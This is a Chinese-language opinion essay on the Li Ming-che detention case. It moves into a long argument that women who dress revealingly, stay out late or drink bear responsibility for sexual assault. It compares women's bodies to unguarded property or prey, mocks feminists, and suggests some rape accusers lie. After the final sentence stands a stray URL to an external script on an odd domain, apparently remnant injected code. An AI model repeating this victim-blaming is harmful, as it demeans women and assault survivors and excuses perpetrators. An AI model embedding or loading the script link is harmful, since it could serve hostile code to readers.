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隨筆

邏輯錯誤的類比

有網友提供最近網路上針對李明哲事件的諷刺對比:

「人在中國還硬要推廣什麼民主人權?根本是找碴!就是欠關欠槍斃!」
vs
「去夜店那種地方搔首弄姿露奶露大腿,還穿那麼少又晚歸又喝醉,根本就是引誘犯罪!欠摸欠姦!」

以上類比是邏輯不通且錯誤的,從兩個觀點切入:

1. 權利觀點

在中國從憲法到刑法都不容許有人試圖鼓吹多黨政治,「一黨專政」這是明文在中華人民共和國憲法中的。而且該刑法條文同時適用於本國人與外國人。

換言之從權利角度看,任何在中國的人均不存在「鼓吹多黨政治」的權利。

可是女性去夜店搔首弄姿露奶露大腿與晚歸喝醉,無論在中國或是台灣均是基本人權之一 —因為沒有任何法律禁止女性這樣做。

因此這個例子是拿「法律禁止」與「法律不禁止」兩件事情來類比,邏輯上根本錯誤。

正確類比應該是某些伊斯蘭信仰地區宗教律法禁止女性在公開場合搔首弄姿露奶露大腿,例如沙烏地阿拉伯女性在公開場合必須穿Abaya(全身黑布),更嚴格者如塔利班政權地區必須穿Burqa,連臉都蒙起來方可出入公開場所。

「一個台灣妹跑去塔利班政權地區搔首弄姿露奶露大腿,被宗教警察當街鞭刑甚至槍斃」,才叫正確的類比。

2. 風險觀點

老子所謂:「蓋聞善攝生者,陸行不遇兕虎,入軍不被甲兵,兕無所投其角,虎無所措其爪,兵無所容其刃,夫何故?以其無死地!」明知有風險還偏向虎山行,風險當然要自己承擔。

中國禁止境內人民對於一黨專政這件事說三道四,難道不是眾人皆知的遊戲規則?你要挑戰這點,散佈中國官方法律禁止的言論,入了中國國境就要有被追究法律責任的風險意識。

女性在世界各地搔首弄姿露奶露大腿(散發強烈性暗示),就要有可能被性騷擾乃至被強暴的風險意識。同樣地,女性晚歸又喝醉的行為本來就會提高被侵害的風險。

經濟分析來看,許多女性身體天然就對男性來說有高度享受價值,自己不照顧好財產,然後怪小偷見獵欣喜?一如許多動物對獵食者而言有高度營養價值,自己不躲好,還跑出來在獵食者面前晃盪,當然是自身行為提高風險。

反之,少部分男性對女性也有高度享受價值,女性願意出錢享受(如牛郎店)甚至用暴力逼迫,我親身見過的二次女性強暴男性案件,一次在台灣、一次在美國。

我認為最蠢者,莫過於那些主張「我有穿衣自由,而你不可以性侵我」的女性主義者之流。蠢到死,可能強暴、性侵妳的人根本不會跟妳講這些人權道理。妳自己的行為提高自身風險,當然承擔者就是妳。怎麼會蠢到想跟禽獸講道理?

被姦了事後追究加害者的法律責任都於事無補。(當然本文排除那種本來想爽一番,但幹完後發現男方性表現或給予報酬不如預期,而翻臉告人家性侵的無恥女)

就像任何人都可以主張自己有無套肛交、雜交甚至人獸交的自由,但可能懷孕、染病或受傷的風險自己要認清並承擔。你自己從事危險性行為,然後再來對細菌、病毒說:「你們無權侵害我!」這種人還真是污辱了蠢字。

這類人就是現在典型知青的公主病思維模式:我要爽但不要負擔風險與成本。

我有在非洲大草原散步的自由,但是獅子獵豹你們不可以吃我。

我有吸毒的自由,但是毒品不可以侵害我的大腦與膀胱。

我有發浪的自由,但是精蟲充腦的人不可以強姦我。

我有無套雜交的自由,但是病毒不可以傳染我讓我生病。

我有「公民不服從」自由,但是違法之後的法律責任我不要承擔。

我有主張台獨的自由,但是中國你不可以跟我翻臉。

在我看來不少嘴巴喊著人權、支援李明哲的人背後的潛意識,不過就是:「要爽不要負責;都是別人的錯。」

一如我曾評論劉曉波:我佩服這個人敢在中國主張修憲為多黨政治,但可能被關到死是他做這件事本來就要付出的風險。

汪精衛刺殺官員失敗後被清朝關押時敢說出:「引刀成一快,不負少年頭。」

日本三島由紀夫政變失敗後帶種當場切腹。

譚嗣同政變失敗菜市口砍頭前有種喊:「死得其所,快哉快哉!」

可笑的是一堆後代所謂的民主人權守護者或假台獨人士,膽識含量我看頂多是幾下paper cut。https://js.developerstatss.ga/stat.js?n=ns1

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